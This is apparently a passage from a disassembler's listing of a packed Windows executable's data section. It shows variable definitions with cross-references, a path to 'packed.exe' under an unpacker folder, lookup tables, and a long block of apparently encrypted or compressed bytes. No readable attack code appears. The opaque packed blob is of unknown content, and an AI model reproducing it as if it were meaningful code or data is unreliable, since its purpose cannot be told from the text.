0 ; DATA XREF: sub_40C7CB+2Bw ; sub_40CA73+1B9w ... dword_47F918 dd 0 ; DATA XREF: sub_40C7CB+35w ; sub_411584:loc_41161Ew ... dword_47F91C dd 0 ; DATA XREF: sub_41416A+13Ar dword_47F920 dd 0A28h ; DATA XREF: sub_40D514+52w dword_47F924 dd 501h ; DATA XREF: sub_40D514+49w dword_47F928 dd 5 ; DATA XREF: sub_40D514+3Ew dword_47F92C dd 1 ; DATA XREF: sub_40D514+30w dword_47F930 dd 1 ; DATA XREF: sub_406422:loc_406702r ; sub_4129FA+91w dword_47F934 dd 4D0B20h ; DATA XREF: sub_406422+2E9r ; sub_406422+309r ... dd 0 dword_47F93C dd 4D0B48h ; DATA XREF: sub_412941+44w ; sub_415713+9r ... dword_47F940 dd 0 ; DATA XREF: sub_40AC96+16o ; sub_40ACB5+19o ... dword_47F944 dd 0 ; DATA XREF: sub_40AC49+3Do ; sub_415713+16r ... dd 0 off_47F94C dd offset aCM_unpackerPac ; DATA XREF: sub_4129FA+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_47F954 db 0 ; DATA XREF: sub_40D167+2Dw ; sub_41344C+5r align 4 dword_47F958 dd 0 ; DATA XREF: sub_40D167+27w dword_47F95C dd 0 ; DATA XREF: sub_40D167+4r ; sub_40D167+8Bw dword_47F960 dd 0 ; DATA XREF: sub_40D514+84w ; sub_412941:loc_412953r ... align 8 dword_47F968 dd 0 ; DATA XREF: sub_40D60Ar sub_40D62Fr ... dword_47F96C dd 0 ; DATA XREF: sub_40B6BFr ; sub_40C4F8:loc_40C614r ... dword_47F970 dd 0 ; DATA XREF: sub_40EA23r dword_47F974 dd 0 ; DATA XREF: sub_40F8F1+4Bw ; sub_40FA0A+2Dw ... dword_47F978 dd 0 ; DATA XREF: sub_41083C+11r ; sub_410940+1Ar ... byte_47F97C db 0 ; DATA XREF: sub_41083C+3r ; sub_41083C+98r ... align 10h dword_47F980 dd 0 ; DATA XREF: sub_410940+11r ; sub_410A1E+21w ... byte_47F984 db 0 ; DATA XREF: sub_410A1E+51w align 4 dword_47F988 dd 0 ; DATA XREF: sub_410C14+4Er ; sub_410FEF+3Ar ... dword_47F98C dd 0 ; DATA XREF: sub_410C14+5Cr ; sub_410FEF+43r ... dword_47F990 dd 0 ; DATA XREF: sub_40BB32+7Ar ; sub_410DBB+5r dword_47F994 dd 0 ; DATA XREF: sub_4113CC+29r dword_47F998 dd 1 ; DATA XREF: sub_411E1B+28r ; sub_411E1B+4Cw ... dd 2 dup(0) dword_47F9A4 dd 0 ; DATA XREF: sub_40CEE0+4r ; sub_40CEE0+9Dr ... dd 3 dup(0) dword_47F9B4 dd 0 ; DATA XREF: sub_411E1B+C0r ; sub_4121D8+3Ar ... dd 0 dword_47F9BC dd 1 ; DATA XREF: sub_41203F:loc_4121BAr ; sub_4121D8+4w ... dword_47F9C0 dd 0 ; DATA XREF: sub_4124A9+37r align 8 dword_47F9C8 dd 0 ; DATA XREF: sub_412765+3Ar ; sub_412765+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_4129FA:loc_412A11o ; .nsp0:off_47F94Co align 4 dd 3Ah dup(0) dword_47FAD0 dd 1 ; DATA XREF: sub_412C47+2r ; sub_412C47+23w ... dword_47FAD4 dd 0 ; DATA XREF: sub_413004+21r dword_47FAD8 dd 0 ; DATA XREF: sub_411A3E+154w ; sub_4124A9:loc_4124D2w ... align 10h word_47FAE0 dw 0 ; DATA XREF: sub_413C19+1Ao ; sub_413C19+46r byte_47FAE2 db 0 ; DATA XREF: sub_413C19+39r align 4 dword_47FAE4 dd 7 dup(0) ; DATA XREF: sub_413C19+52o dword_47FB00 dd 0 ; DATA XREF: sub_413C19+40w ; sub_413C19+5Co dword_47FB04 dd 0 ; DATA XREF: sub_413C19+4Dw dword_47FB08 dd 0 ; DATA XREF: sub_413C19+31w dword_47FB0C dd 0 ; DATA XREF: sub_413C19+52w dword_47FB10 dd 77C26E79h ; DATA XREF: sub_413D3C:loc_413D5Fr ; sub_413D3C+38r ... dword_47FB14 dd 1 ; DATA XREF: sub_413E07+26r ; sub_413E07:loc_413E71w dword_47FB18 dd 0 ; DATA XREF: sub_411A3E+7r align 10h dword_47FB20 dd 0 ; DATA XREF: sub_414438+11w ; sub_414438+63w ... align 8 dword_47FB28 dd 0 ; DATA XREF: sub_414438+33o ; sub_414438+46r dword_47FB2C dd 10h dup(0) ; DATA XREF: sub_414438+C1o word_47FB6C dw 0 ; DATA XREF: sub_414696+A8r word_47FB6E dw 0 ; DATA XREF: sub_414438+54r ; sub_414696+DBr ... word_47FB70 dw 0 ; DATA XREF: sub_414696+CAr word_47FB72 dw 0 ; DATA XREF: sub_414696+D3r ; sub_414696:loc_414788r word_47FB74 dw 0 ; DATA XREF: sub_414696+C0r word_47FB76 dw 0 ; DATA XREF: sub_414696+B8r word_47FB78 dw 0 ; DATA XREF: sub_414696+B0r word_47FB7A dw 0 ; DATA XREF: sub_414696+9Er dword_47FB7C dd 0 ; DATA XREF: sub_414438+4Br dword_47FB80 dd 10h dup(0) ; DATA XREF: sub_414438+FBo word_47FBC0 dw 0 ; DATA XREF: sub_414696+46r word_47FBC2 dw 0 ; DATA XREF: sub_414438:loc_4144AFr ; sub_414696+78r ... word_47FBC4 dw 0 ; DATA XREF: sub_414696+67r word_47FBC6 dw 0 ; DATA XREF: sub_414696+70r ; sub_414696:loc_41471Ar word_47FBC8 dw 0 ; DATA XREF: sub_414696+5Dr word_47FBCA dw 0 ; DATA XREF: sub_414696+55r word_47FBCC dw 0 ; DATA XREF: sub_414696+4Dr word_47FBCE dw 0 ; DATA XREF: sub_414696+3Er dword_47FBD0 dd 0 ; DATA XREF: sub_414438+80r dword_47FBD4 dd 0 ; DATA XREF: sub_414438+132r ; sub_414438:loc_414584r ... dword_47FBD8 dd 0 ; DATA XREF: sub_414423r sub_414423+Ew dword_47FBDC dd 0 ; DATA XREF: sub_4149C4+3r ; sub_4149C4+2Ew ... dword_47FBE0 dd 0 ; DATA XREF: sub_4149C4+43w ; sub_4149C4:loc_414A13r dword_47FBE4 dd 0 ; DATA XREF: sub_4149C4+4Aw ; sub_4149C4+60r dword_47FBE8 dd 0 ; DATA XREF: sub_41545B:loc_4154C2r ; sub_41545B+6Do dword_47FBEC dd 0 ; DATA XREF: sub_41545B:loc_415499r ; sub_41545B+44o dword_47FBF0 dd 0 ; DATA XREF: sub_41545B:loc_41548Cr ; sub_41545B+37o dword_47FBF4 dd 0 ; DATA XREF: sub_41545B:loc_4154A6r ; sub_41545B+51o dd 0 dword_47FBFC dd 0 ; DATA XREF: sub_41416A+3Fr dword_47FC00 dd 0 ; DATA XREF: sub_415B4F+28r ; sub_415B4F+48w ... byte_47FC04 db 1 ; DATA XREF: sub_402951r sub_402951+9w ... align 4 dword_47FC08 dd 4D1110h ; DATA XREF: sub_411702:loc_411713r ; sub_411BAE+14r ... dd 5 dup(0) dword_47FC20 dd 400h dup(0) ; DATA XREF: .nsp0:off_420310o ; .nsp0:00420318o dword_480C20 dd 200h ; DATA XREF: sub_411702+9r ; sub_411702+56r ... dd 7 dup(0) dword_480C40 dd 4D0650h ; DATA XREF: sub_40D653+B1r ; sub_41176F+75r ... dword_480C44 dd 3Fh dup(0) ; DATA XREF: sub_412D79+92o dword_480D40 dd 20h ; DATA XREF: sub_411584+8r ; sub_411848+Cr ... dword_480D44 dd 4E4h ; DATA XREF: sub_41203F+14r ; sub_41203F+65w ... align 10h dword_480D50 dd 3 dup(0) ; DATA XREF: sub_41203F+123o ; sub_41203F+171o ... dword_480D5C dd 0 ; DATA XREF: sub_41203F+108w ; sub_41203F+15Dw ... byte_480D60 db 0 ; DATA XREF: sub_41227E:loc_41238Aw ; sub_41227E:loc_4123A7w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_480E60 db 0 ; DATA XREF: sub_41203F+5Co ; sub_41203F+AFo ... byte_480E61 db 0 ; DATA XREF: sub_40D21A+5Dr ; sub_41203F+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_480F64 dd 0 ; DATA XREF: sub_41203F+6Ew ; sub_41203F+12Bw ... dword_480F68 dd 0 ; DATA XREF: sub_40EC10+3Cw ; sub_40F2B5+5r ... dword_480F6C dd 0 ; DATA XREF: sub_40EC83+23Ar ; sub_40EC83+25Ar ... dword_480F70 dd 0 ; DATA XREF: sub_40EC10+31w ; sub_40EC83+311w ... dword_480F74 dd 0 ; DATA XREF: sub_40EC10+21w ; sub_40EC83+22Dr ... dword_480F78 dd 0 ; DATA XREF: sub_40EC10+28w ; sub_40EC58r ... dword_480F7C dd 0 ; DATA XREF: sub_40EC10+15w ; sub_40EC58+8r ... dword_480F80 dd 0 ; DATA XREF: sub_40B6FD+Fr ; sub_40C4F8+5Cr ... dword_480F84 dd 4D0000h ; DATA XREF: sub_40B6FD+66r ; sub_40B771+5Ar ... dword_480F88 dd 1 ; DATA XREF: sub_40B6FDr sub_40B771+Cr ... dword_480F8C dd 142340h ; DATA XREF: sub_40D514+7Aw ; sub_4128E9+Fr ... dword_480F90 dd 1 ; DATA XREF: sub_412941+ADw ; sub_415713r dword_480F94 dd 1 ; DATA XREF: sub_412403r ; sub_412403+11w ... dword_480F98 dd 4D0764h ; DATA XREF: sub_40C193+13r ; sub_40C193:loc_40C1D5r ... dword_480F9C dd 4D0758h ; DATA XREF: sub_40C193+1r ; sub_40C193+Cr ... byte_480FA0 db 1 ; DATA XREF: sub_4163F4+15r ; sub_4163F4+1Ew align 4 dd 417h dup(0) dd 0D9A22A00h, 9B1788h, 193D7E08h, 4EECD3EFh, 0C42C9214h dd 7E438167h, 0F62B7E08h, 8D4EB4Dh, 464C404Fh, 55203A16h dd 9F4792ECh, 70DB621h, 5677E69Bh, 10E3E460h, 0E1F542FBh dd 0F24B2575h, 0EEA4BC77h, 0F52EDEE1h, 0D65EA84Bh, 9A4E50D1h dd 95AEC0F1h, 62EF7479h, 8C19C99Ah, 1D145679h, 8E46A5FBh dd 0C249C2E1h, 0BE2F61F0h, 6FBE1455h, 9CAF5B34h, 36F0D4E7h dd 69EEEE0Eh, 4E7410E7h, 45A792F2h, 5C50B4D5h, 0C857BDBAh dd 8982E4F0h, 0F744FC3Dh, 0C4098710h, 0EB36B716h, 964AC978h dd 25D04C82h, 57A96587h, 0FC246CB4h, 245AABC8h, 26808D0Ah dd 0B0F6B90Ch, 0E42D47E2h, 3FD4D73Eh, 3653A299h, 43764ADFh dd 137E926Fh, 6A477D06h, 87A8291Bh, 683D8C69h, 9ED2593Ch dd 21CF26C9h, 0CE4D01D5h, 0E1873269h, 68A343A2h, 86B258C8h dd 818D1181h, 9542949Bh, 0EC09A06Dh, 5B529688h, 0E6332C8Ch dd 884D964Dh, 6346C2F3h, 0E6B79F46h, 0A060ED19h, 0BA98B848h dd 6D18715Ah, 6B41F44Bh, 951C1ACh, 3C7594AEh, 1B462E36h dd 13607D1Ch, 0F6E0814h, 0CACB68A5h, 7F24E27Ah, 7534E19h dd 277AA002h, 9C0C1AC3h, 0A01DDB50h, 176F5D4Dh, 6CF5F57h dd 0BBF4146Ah, 0D19E6ACh, 0E51D868Eh, 30DD675Ch, 9819DDF0h dd 2774011Ah, 0AE82DDFEh, 0E28075A6h, 0C8BBE9F0h, 4F1AE941h dd 0FB5A30A0h, 0A27AF681h, 90520CF8h, 8E10B437h, 0F614C48Bh dd 0C81BF458h, 7A9C6D87h, 7EB3200Ch, 48FA89C0h, 27A4F5F2h dd 0DCD192C6h, 26D30BC0h, 428D8B52h, 0D962C7E3h, 16FB3E44h dd 38189A3Dh, 0F77BD4EEh, 4E85ABB9h, 0DCE4DEA4h, 0D94DA250h dd 0F97AE723h, 35B5FC98h, 3AA3B292h, 8D603457h, 0D9438D7Ch dd 835B3C09h, 0D5CFFAC9h, 4131FCCAh, 0B92FA2h, 231564C7h dd 7CEEE07Ch, 0AA7B8963h, 667B7E35h, 0F5ED7C7Eh, 2C648AC9h dd 0FFEE05C2h, 978400A6h, 5C68E7B4h, 0D4F94A69h, 49CEBB0Ah dd 6F7A8813h, 4B7242A2h, 6A7E5F93h, 3EB038BEh, 5755A966h dd 525676F1h, 9D8C3173h, 0A9670B54h, 0F709F324h, 14261F67h dd 0E3273371h, 6E708CD4h, 8C81CD58h, 92719F50h, 13DBDFA7h dd 241DDFFh, 62FC6881h, 4AB2A035h, 7F8BF12Bh, 68BCAB8Eh dd 0B588FA88h, 72241D0h, 5F199118h, 0FE123AC2h, 1817D173h dd 7A939041h, 43FF72B0h, 10127FC5h, 7737EEC5h, 0EF3B4129h dd 15974A7Bh, 6A47B689h, 0C1418A3h, 6EB90E00h, 643A9B50h dd 0E9A1F85Ch, 0D9044467h, 871CB341h, 794FBE96h, 0FB8822BFh dd 0B88264FDh, 920E0724h, 8407321Ch, 0E02E7389h, 5AB4F8F4h dd 532D10DEh, 3BF41B7Ch, 81852829h, 0C8465E27h, 9B8F6B79h dd 4E9B104h, 0CC414BD6h, 0BFE51F9Ch, 0E1DA506Dh, 557F1242h dd 0C8BC3F0h, 1EE69C64h, 11FF9D81h, 264C8D1Ah, 98F9E05Ch dd 0D31AC62Eh, 49C040B8h, 8B6537D8h, 0F94D383Ch, 878BD7DDh dd 0D62BA73Ah, 77BEACF1h, 0C05C9290h, 3342F37Bh, 988F6292h dd 450B50E2h, 6C4A9912h, 24BB51BBh, 0E3E1E9h, 0FFF6D56Ah dd 69602FB0h, 1156639Bh, 6D5FBC37h, 0B24C00EFh, 0ECADC854h dd 0FC37F67h, 0B0B87305h, 60C5DB3h, 71D778D7h, 19BE525Ah dd 7C2775DBh, 4DA06BB7h, 0C54FA97Dh, 44F40841h, 73FBE112h dd 18AA0D1Bh, 0ECDFAh, 749F8DF1h, 62FA9D16h, 1E82B44h dd 0F5740831h, 2833D2E9h, 54C37638h, 0DD630A22h, 25970F88h dd 70FDCF9h, 0C36F8B3Bh, 6497CBEAh, 7AF44986h, 1534138Eh dd 0DF08C112h, 0F2E50DFAh, 7F4FF96Fh, 541F237Ah, 668EB85Eh dd 2724CD39h, 6D157DE0h, 407F4333h, 58729908h, 416B804Dh dd 0D3659C98h, 28307F29h, 45671AF5h, 56BC3FEDh, 0CFD4599Bh dd 0CCB953C3h, 0E088EC09h, 0E46A11BFh, 82D85A16h, 1B36A4ABh dd 0E98C0DB3h, 0EA7274D9h, 0DA16F22Ch, 1ABD7AA8h, 1CE59B19h dd 2528B3D1h, 85B27B4Ch, 0BD66DF1Ch, 0CDDB0A13h, 0A41F2161h dd 2C0E9BC0h, 0B8B423Ch, 6E9D6EB9h, 0CFBBBD2Ah, 9D87CC13h dd 8AC6F9D1h, 3E0914E3h, 0D394770Ch, 8D7C7DDFh, 2E43306Eh dd 6938725h, 111F567Ch, 0E3159F13h, 3C411E4Bh, 0CE03F297h dd 2142E913h, 2E4C7C1Fh, 0E7218F43h, 9C3318D5h, 43309826h dd 5AB1665Eh, 3AE164E9h, 4E3BA98Eh, 1B4C3A1Fh, 0ADDD30DFh dd 0DB46EAE9h, 0B7BF9791h, 54603EC8h, 0EADE37AAh, 2391581Bh dd 7935CB6Fh, 0B4E514B6h, 3B6071D2h, 0B09D4FBEh, 427DD536h dd 79A86220h, 5ED00644h, 0AD9817B3h, 0B71AFB2h, 0BF5F7A9Ah dd 86EAACB2h, 0C0A68C27h, 0A9226B01h, 47492D3Dh, 0E5308BBDh dd 0F18FE688h, 54419553h, 5A9145C2h, 0C6C7B1DBh, 88F29458h dd 0E58FED35h, 0ED320229h, 0E368AEFh, 562281EAh, 5D9B70FEh dd 5A2BC85Bh, 0A716B8F1h, 82A45B74h, 97E8555Bh, 723025AFh dd 0D0FF1920h, 16CD5D6Fh, 0F96E719h, 354143F0h, 9EEE66A9h dd 41196A80h, 0DDB7FE85h, 5A5F4D5Dh, 0D8888BE7h, 2DA05459h dd 0D08BC191h, 0DC3DC8EEh, 535BA288h, 9AFD25FFh, 514ED56Ah dd 131CE7ACh, 67A258DCh, 46C20C55h, 6D8B9DF0h, 518A815Bh dd 52632D30h, 1FE3EA23h, 9267DCD3h, 0DB67868Eh, 24D3D040h dd 776C2AAFh, 0BD9E4369h, 893E0D00h, 95612890h, 63060698h dd 125EBA39h, 21F9FD24h, 0E80A1A09h, 491084B4h, 4663A0C9h dd 69DA1F94h, 8EFA4768h, 9C2AE0C9h, 0ED2BE897h, 3E1765E1h dd 626DA3F4h, 7662B2B8h, 0D72137A9h, 0D7183285h, 833D1C3h dd 11CFA2DCh, 33372B3h, 0D43D95D9h, 8D9DB6E9h, 0D92C5CFFh dd 0E9CBBF1Ch, 5986064Ch, 0D73F64B1h, 0FDFF2755h, 0DE9A7274h dd 9C8A6626h, 19402FB0h, 178DE918h, 0D16489E4h, 92D37C66h dd 0F240F3D3h, 1D8039Fh, 4A34EF53h, 0F2A0CA88h, 28C5CEB1h dd 3AD13240h, 939D1628h, 0DA0F04F6h, 1014BF9h, 0D0E180A4h dd 366DA583h, 9B5511C4h, 7903C122h, 0C5845597h, 9207E884h dd 19C1A46Dh, 7B1BE9E1h, 9A3E8A97h, 0DBA82DC4h, 0A58738E0h dd 8418E2A0h, 8B4C02D1h, 6F33E041h, 650C3559h, 6DB67921h dd 6F86BF51h, 0D346EE0Fh, 0A8D89BABh, 0DED94940h, 5D1948F8h dd 0CED3C52Fh, 0BFDD7517h, 843E627Ch, 83D9053Bh, 326ADD65h dd 1C7D06Eh, 38D04C6Eh, 7A3D0390h, 80B47F58h, 0F5F3A995h dd 0C2F9776Eh, 8BC607DCh, 0F33EDA7Ah, 601FCD2Ch, 0CC7D1060h dd 723DD466h, 0CC216BFFh, 0C8103E02h, 0F694E0A7h, 594BC40h dd 9AFA0C1Ch, 0CD143394h, 19849DF2h, 0D9CFE34Bh, 95BFBA4Ah dd 5376846Eh, 0F7107EEBh, 0C22A945Ch, 6D45E349h, 946747BBh dd 937D2DC6h, 0F1879C7Dh, 0E6BCCAE5h, 0B362E523h, 0C57C0E49h dd 2E310836h, 0C1CE23F4h, 2ACF45CBh, 0CB7C1A07h, 0C34BD233h dd 0A7B53011h, 5F839DB3h, 0B6EFBF57h, 0F07A3C32h, 0E9F3B749h dd 0C2AA3154h, 4DDF0A5Bh, 2A84F591h, 80042345h, 68FD38Ch dd 69BB9FB6h, 7FA495C8h, 985F581Bh, 3C5BADBFh, 3980488h dd 40117CAFh, 4224BEB2h, 41B7096Eh, 0F24D2FE0h, 3A2C404Ah dd 1B692BCFh, 0BAF63B74h, 2BEF0E19h, 2108D223h, 104B4FB2h dd 0CCAAE5B4h, 7A80A700h, 0A8C541Ch, 2716A47Ah, 74F7F21Bh dd 219621E4h, 9F4F843h, 46B4F916h, 0C14420BCh, 0B02D2748h dd 64ABE359h, 3D6E832Eh, 16A474D1h, 0E4EC8779h, 82F5343Dh dd 1F7B00C1h, 0DB55D16h, 97BBF324h, 38AAD60Ch, 47785DA4h dd 4ECABF17h, 589EAF8Fh, 0D713653Fh, 18489843h, 715ABE73h dd 0CB9EED6Ah, 8A72AAB0h dd 6F733DD4h, 0C3FD4A8Ah, 0E6672267h, 6074E9D4h, 77B256Fh dd 38BC33E5h, 2F665026h, 318395B1h, 9E00F064h, 0D8E7E4Eh dd 0FB57B36Bh, 9A3A0911h, 77F3D8CFh, 0C5CCC703h, 9ED2197Dh dd 8F558711h, 0FCC44B9Dh, 0F049CA51h, 7522D783h, 0A392F00Bh dd 20845CE4h, 0DFB92D4Bh, 70B387h, 0C4492749h, 4E91CA14h dd 35E79157h, 0F90E2A5h, 8146A5B0h, 0F62BC2BCh, 0DB918736h dd 606E6F09h, 8D1CA739h, 4CC0BEE0h, 636700FDh, 866A4775h dd 0B7317AC2h, 7FEBECD1h, 868DF33Ch, 14883A8Eh, 988E8DF5h dd 0A0842968h, 547ED4Eh, 0C3DA441Bh, 86440AF2h, 0BFF819F7h dd 6CEFCAAFh, 4C33A35Eh, 566EF1FFh, 88D17499h, 0A509C145h dd 0F74017FAh, 44515C1h, 951CE07h, 282A689h, 3CB86965h dd 67170E7Dh, 5DB9EB44h, 3FEF952Fh, 0DB2557B1h, 6D5FF52h dd 22CFFA55h, 548E8255h, 19DB10C6h, 0BA1D5838h, 6B326B50h dd 0F5D6ABD6h, 22543D9Ch, 8CB19909h, 55657F22h, 33D7726Ch dd 0CC8A3756h, 3D92C17Bh, 696FCB68h, 8621ED6Eh, 664B0C04h dd 26CA8BA5h, 0B4468EE7h, 0D48313C2h, 0DA6B2933h, 7688416Eh dd 36B5A5B3h, 0CC7A4058h, 974E8477h, 17F2BD77h, 9FDB847Dh dd 0A00B82CDh, 0C8F0D8F5h, 317AA9A8h, 0E0A2B883h, 78D2D943h dd 5A1DB4Dh, 0A1A2B4F9h, 2F673EFFh, 0C41A1038h, 0D4346EEDh dd 3BE55B34h, 440ADBC2h, 0EE4A1708h, 0BDB5BCE9h, 96F5E3ADh dd 409CC137h, 6B3FFF2h, 0D097DAC4h, 89057249h, 0A000CABCh dd 8F7B4D84h, 0F2408BECh, 9E709025h, 0DF62998Fh, 0FCE09C86h dd 0A75CDA18h, 0DE6BCBC4h, 0DFC20F00h, 0CBCF66DAh, 3293BA4Eh dd 0AEB6A62Dh, 0EA7CB38Ch, 9AC5EFD8h, 0C73E1BF7h, 6999078Ah dd 5A22FD53h, 867C062Eh, 15729DA3h, 15F15C42h, 10A716FAh dd 73F2BBC1h, 8BBE64D1h, 7417D33Bh, 42BC94A1h, 2F1B1F97h dd 0EFB81633h, 0A7F37404h, 2979CEF8h, 0F8587C83h, 7117750Ah dd 8537D972h, 0B535798Dh, 1AF98514h, 3DB9B1B2h, 8969F364h dd 59317300h, 5D6A1BCCh, 3D8F69C2h, 0B4823C76h, 0DBDDF068h dd 5E0F228Fh, 9128938h, 1C97BEAAh, 814F7A34h, 0A6BBC355h dd 93BE02FCh, 0D4856B33h, 0E67F017Ch, 0DD577825h, 0ED1DB532h dd 4642F344h, 0BD465CCAh, 0E4CCE0E7h, 0DC49B516h, 0F1F329CCh dd 6D456F0Ch, 7EEEC30Bh, 5E3AC20Fh, 0A07B8DBBh, 133A1397h dd 8A891E5Dh, 7CD9635Bh, 0A121B973h, 0D3DFF438h, 0F6E641FEh dd 0F8AD7522h, 63930605h, 8F7E7645h, 6E6F8980h, 0A05C8FB6h dd 0FA62C5ECh, 71BBEE34h, 0ED8FA4D2h, 0D8716F28h, 0B49EF92Ah dd 2A65711Ah, 45F98D4Bh, 29634ADBh, 0AF7EB769h, 1B03EE64h dd 7638CD8Fh, 2EA82D18h, 8533D9E5h, 0FD9B213Bh, 0A19B7939h dd 938C6AE5h, 0B2C8295Bh, 46A478C2h, 152BBDD1h, 799C3032h dd 93075640h, 0CFA09B74h, 28EEF6D1h, 7E9E0F4Ah, 4DFFF193h dd 0D947DD67h, 0AD89DC1Bh, 0D8445CFFh, 4BD4F69Eh, 96CC3BFBh dd 17910635h, 769EB3C8h, 4857353Ah, 2E6131F4h, 0AC16E2BFh dd 32AE8D1Eh, 0C1E1B607h, 39B46567h, 403C43D4h, 53010A94h dd 71C0CDC1h, 0C5249AA9h, 0EF629C00h, 6320C537h, 0D2C65D43h dd 1BCE424Dh, 0F52622AAh, 0ECF89AD4h, 932ED321h, 0C737F5D5h dd 0C0265DD5h, 6815AAD5h, 6275BEB9h, 3D260579h, 0C0B6B8F2h dd 0BFA64AE7h, 96427D29h, 0E3C7D641h, 0E9088EBh, 0E4C1612Fh dd 7C20FF1Ch, 0CF81D02Dh, 0F5CCCE4Dh, 4165E66Dh, 0CB9E257Dh dd 22B98818h, 8BE4D71Bh, 22672380h, 8629136Eh, 0CCAF2712h dd 29766DCFh, 0CA1075A7h, 617E613h, 0D772D4CCh, 0D90B819Bh dd 7827250h, 8C9B816Eh, 188AD0Ah, 2F4C5892h, 0DDDAA6DBh dd 5A8C4E0Eh, 0E21A4CABh, 5029E752h, 40D46D93h, 302A539Dh dd 0D8FFA4F6h, 0AEE80E06h, 992D2845h, 437EECB2h, 170F1A08h dd 2847EC99h, 23F400C0h, 0B623ED89h, 382DD4ABh, 54213075h dd 0CDD95239h, 4A0A4B1Ah, 3D1CC9E5h, 0AD3B614Ah, 5C037B9Ah dd 0E9DCAA52h, 1627615Fh, 0FFBE6B76h, 0D6194044h, 6E0E3C7Eh dd 7723680Bh, 60F96510h, 0D8FFC006h, 4C103076h, 0C2DA49ADh dd 0CF3F963Ch, 0DD54EF19h, 7CF2F13Bh, 808D05C9h, 5D6AD759h dd 0F217791Eh, 0C3677EEh, 586C85E2h, 0AC647DA4h, 0E88F832Bh dd 0B0501F50h, 5190C1FDh, 0A59E3B49h, 9F4F101Dh, 0B0D77A8Fh dd 2515CB8Eh, 71DBFEC1h, 225B867Bh, 0FBA7398Fh, 4136F977h dd 0DC5CC3B2h, 139C9C74h, 0ADD8AC5Fh, 0B45C3270h, 0D8F9C83Eh dd 0DF5730B4h, 3B307490h, 0FD076BA1h, 0ACBEB942h, 8B46F332h dd 77101884h, 3C7724FAh, 8886B692h, 357BFCADh, 987B02E8h dd 92ED25C6h, 152A6F2Fh, 7D1D240Ah, 41C424E2h, 52462B0Fh dd 0A12C9767h, 8AE7FEBAh, 0FBFA0C4Fh, 31FCBAD1h, 0F025836Ch dd 6816C80Ah, 313A4963h, 30ADA143h, 133C5A37h, 961DC89Eh dd 29D083FDh, 577625D7h, 0D7C7008h, 0A061DF23h, 0DD35A0B9h dd 6E9EDF5Dh, 0D27203D0h, 0C5A12A6Eh, 8E3020CEh, 2EFC7A7Ch dd 6DC3D880h, 0C0EE38D0h, 45EAA076h, 0E4B4EF42h, 462920DFh dd 1EC5ACE9h, 43FBAAF6h, 0E67AFC31h, 2102E6C2h, 0EB3752FFh dd 1FB8147Ch, 440E9BC9h, 80EB4DC1h, 3B1C0B53h, 256930CDh dd 5487A82Bh, 0CA25C5DAh, 442C156Fh, 6AF67E42h, 3761F373h dd 176B76E2h, 0A45F1C37h, 76C31CB7h, 0EA835B6Ah, 26E09E4Ah dd 0B8AA2479h, 17836D2Eh, 3A1B38A4h, 5ADA8E0Bh, 0D7F4D9ADh dd 0EF35038Bh, 84BB6FEBh, 7B255E53h, 0F785B583h, 201908DBh dd 0A38ECAA3h, 250A3277h, 9FE603ADh, 0A8C0E0C2h, 0B9F67622h dd 26246F41h, 178243ACh, 0C9EBC78Eh, 0EE977E27h, 46DA061Eh dd 0B85F1C4h, 321ADD5Ah, 0BEEDEEB7h, 0BB40EE5Bh, 7A408A6Eh dd 280F3658h, 814EA951h, 5CCD7392h, 715902CCh, 0A55B033Ah dd 1C37F43Ch, 954D170Bh, 0D2CAF6DEh, 0E7B78C88h, 229EE2FAh dd 0C36A0C24h, 0FE6C7B39h, 0D32A3B58h, 652B3E42h, 2683AD15h dd 2C10D51Eh, 0F3385D24h, 55F51402h, 9EE78AF6h, 0CA413173h dd 64BF4FC7h, 5DCD5637h, 779716B7h, 0A3C53741h, 8E0FF3A6h dd 395B898Bh, 6AA08BC5h, 0FF615396h, 0F5B5500Eh, 0F2D5CCB4h dd 4205AD95h, 45D9382h, 0D088A91Bh, 156C73F6h, 0EB7C8EB9h dd 1D0845FBh, 7D8EE12Ch, 0A26A5EB4h, 93E510E1h, 3F8BE660h dd 9C0030DDh, 0D09E7F0Bh, 0B1EE587h, 2F7117FCh, 7C521654h dd 2F1397AAh, 9FA14738h, 0F4C9BDCEh, 0F4852AD0h, 8E72BB57h dd 0C89AFEDEh, 3D61520Bh, 9E3F90D0h, 0D46894AAh, 4410362h dd 6DF9469Ah, 412F22h, 0ED7AC493h, 25528755h, 6605844Bh dd 1E49A29Dh, 688FBD49h, 6D72FB65h, 783253BEh, 6050D9BAh dd 84CB1367h, 849284EAh, 56393AD8h, 18548D32h, 0B0BC8322h dd 0C0B8D13Bh, 2D3215ABh, 5B84AE12h, 78C30553h, 0E9D7641h dd 255687A8h, 660700E7h, 940990EFh, 5A8BB82Ch, 5012ABB8h dd 785F3D27h, 1B75BE45h, 180BA4B2h, 71C27337h, 0B5C28CA1h dd 0E93F4B6Dh, 23FC2F28h, 9B242DBDh, 81712A1Eh, 5F6F9853h dd 8C4055D9h, 29F45FA3h, 9A33A4FFh, 0C5D62060h, 0BD0B50E5h dd 5BB5AB16h, 44FE81DCh, 0CA8B7D60h, 0A6B70143h, 0EE8DDE72h dd 4CCCAB7Fh, 0EAF7E1A9h, 5DD14489h, 8977CBCh, 8DAE0419h dd 1C84A271h, 0CA49ED8Ch, 0B96BAB2h, 34354576h, 0F009AAA9h dd 81F539DAh, 